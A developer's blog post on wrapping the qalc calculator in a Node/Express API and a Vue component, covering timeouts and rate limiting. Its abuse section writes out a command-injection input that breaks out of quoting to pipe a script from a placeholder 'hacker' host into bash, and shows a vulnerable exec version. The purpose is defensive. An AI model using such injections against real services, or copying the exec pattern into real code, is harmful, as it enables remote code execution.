# Integrating qalculate
in a Vue component
By chance I found qalculate
which is a powerful calculator, either with a gui or with a command line interfact (qalc
). The calculator is capable to convert units, so for instance you can ask how much energy a device with 1 W will consume throughout a year (1 W * 1 year to kWh
) or -- the other way around -- can ask how much power an electric device may have to consume not more than 1 kWh per year (x W * 1 year = 1 kWh
which will resolve to approx. 0.11).
This calculator seems incredible useful to me, so why not have it at hand in the form of a web application? That's what it did in a rather straightfoward way.
# The result
... is a calculator like the one below. Edit the expression and wait until the result updates.
Heads Up!
For some reasons, the service may be "cold" and the first access yields (took too long)
, in this case try it again by changing the expression slightly, the next requests should return like desired. See below why and how the processing time is limited.
# How it works
Well, there is no magic here except the wonderful world of free software:
- I run a Docker container serving an API end point which takes some expression as parameter, passes it to
qalc
and returns the response. You can view the output e.g. using this link. - I designed a Vue component which displays the input, issues the request and displays the result.
However, there are some things to consider.
# Preventing abuse
Depending on how you handle your subprocesses this may become a wide open door to your container! For instance you could use Node.js' exec
command which will run a command for you, just as you typed it in a shell. And now the command is like qalc "${userInput}"
. Et voila, here is your opened up Docker container! Why? Imagine the user enters 2*2" && curl http://hacker/script.sh | bash - ; echo "hello
. This will circumvent the wisely chosen "
around the input for qalc
rendering qalc "2*2" && curl http://hacker/script.sh | bash - ; echo "hello"
as an input for the shell. So the user not only has overtaken your system, he even did not have to abstrain the desired result of 2*2
– what a shame. To never trust the user input is the golden rule to follow here. Two things to do here:
- Use the correct way to call a subprocess –
exec
may not be the best option here. - Sanitize user input. In this particular case, the command parameter is delimited with
"
, so a replacement in the user input" -> \"
would prevent the case shown above. But again, please consiser the first option. This will delegate the input validation toqalc
.
# Running a subprocess and capturing the output
I almost always convert callback style signatures to promises. In this case, it's a little bit more than just replacing the error
and result
callbacks since the API is built to support streaming. This is something we don't use here, but we need to adapt to.
const { spawn } = require('child_process')
const qalc = expression => new Promise((resolve, reject) => {
const proc = spawn('/usr/bin/qalc', [expression])
let result = ""
proc.stdout.on('data', data => result += data.toString())
proc.on('close', code => resolve(result))
proc.on('error', reject)
})
The version using exec
would have been shorter (but prone to attacks so don't use it like that):
const { exec } = require('child_process')
const qalc = expression => new Promise((resolve, reject) => {
const proc = exec(`/usr/bin/qalc ${expression}`, (error, stdout, stderr) => {
if(error) {
reject(error)
} else {
resolve(stdout)
}
})
})
# Limiting the compute time per call
The first thing a colleague did was to enter hyperfactorial(20000)
which basically stops the container from working. So I needed to limit the compute time per call in some way. Newer versions of qalc
offer a dedicated parameter to do so. The more generic way would be to proxy the call through timeout
which is a GNU core util. timeout
executes a command, and kills the process if it has not returned after a certain amount of time. The caller can detect this by looking at the return code which is 124
when the process has been killed, and the original return code otherwise.
# Limiting the number of parallel requests
I did this in a very simple way. When a request comes in, the call to qalc
and therefore the response is delayed by a particular time. The time increased with the number of parallel calls. If the method works can be tested which the tool ab
which will make a series of requests to a URL.
To test my container, I did this:
$ ab -n 100 -c 100 "https://qalc.philippbender.eu/qalc?expression=hyperfactorial(200)"
# Limit the rate the component calls the API
I solved this by waiting a short period of time until I issue the request after the input changed. So basically every key stroke will invoke a function to be called after a timeout. If the expression is still the same, the request will be made. If the user typed in the meantime (and hence the expression changed), nothing will be done.
export default {
data() {
return {
expression
};
},
watch: {
expression(newValue) {
setTimeout(() => {
if (newValue === this.expression) {
// user did not change the expression in the last 400ms. Issue the request.
} else {
// something changed in the meantime
}
}, 400);
}
};
In other scenarios you can consider Lodash and the throttle
function in particular if you need a ready implementation.
# The complete code
# Server
const express = require('express')
const cors = require('cors')
const { spawn } = require('child_process')
const app = express()
app.use(cors())
const QALC = '/usr/bin/qalc'
const TIMEOUT = '/usr/bin/timeout'
const qalc = expression => new Promise((resolve, reject) => {
const proc = spawn(TIMEOUT, ['1', QALC, expression])
let result = ""
proc.stdout.on('data', data => result += data.toString())
proc.on('close', code => {
console.log("close(), code=", code)
if(code === 124) {
resolve("took too long")
} else {
resolve(result)
}
})
proc.on('error', error => {
console.error(error)
reject(error)
})
})
let nActive = 0
app.use('/qalc',async (req, res) => {
try {
nActive += 1
await new Promise(resolve => setTimeout(resolve, (nActive - 1) * 1000))
const result = await qalc(req.query.expression)
res.status(200).send(result)
} catch(err) {
console.error(err)
res.status(500).send("that went wrong")
} finally {
nActive -= 1
}
})
const PORT = process.env.PORT || 3000
app.listen(PORT, () => {
console.log(`listening to port ${PORT}`)
})
# Component
<div class="calculator">
<input type="text" v-model="expression" />
<code v-if="result">{{ result }}</code>
</div>
import axios from "axios";
export default {
props: {
initialExpression: {
required: false,
default: ""
},
timeout: {
required: false,
type: Number,
default: 400
}
},
data() {
return {
expression: this.initialExpression,
result: undefined
};
},
watch: {
expression: {
handler(newValue, oldValue) {
setTimeout(() => {
if (newValue === this.expression) {
axios
.get("https://qalc.philippbender.eu/qalc", {
params: {
expression: this.expression
}
})
.then(resp => {
this.result = resp.data;
})
.catch(err => {
this.result = "(sorry, request did not succeed)";
});
}
}, this.timeout);
},
immediate: true
}
}
};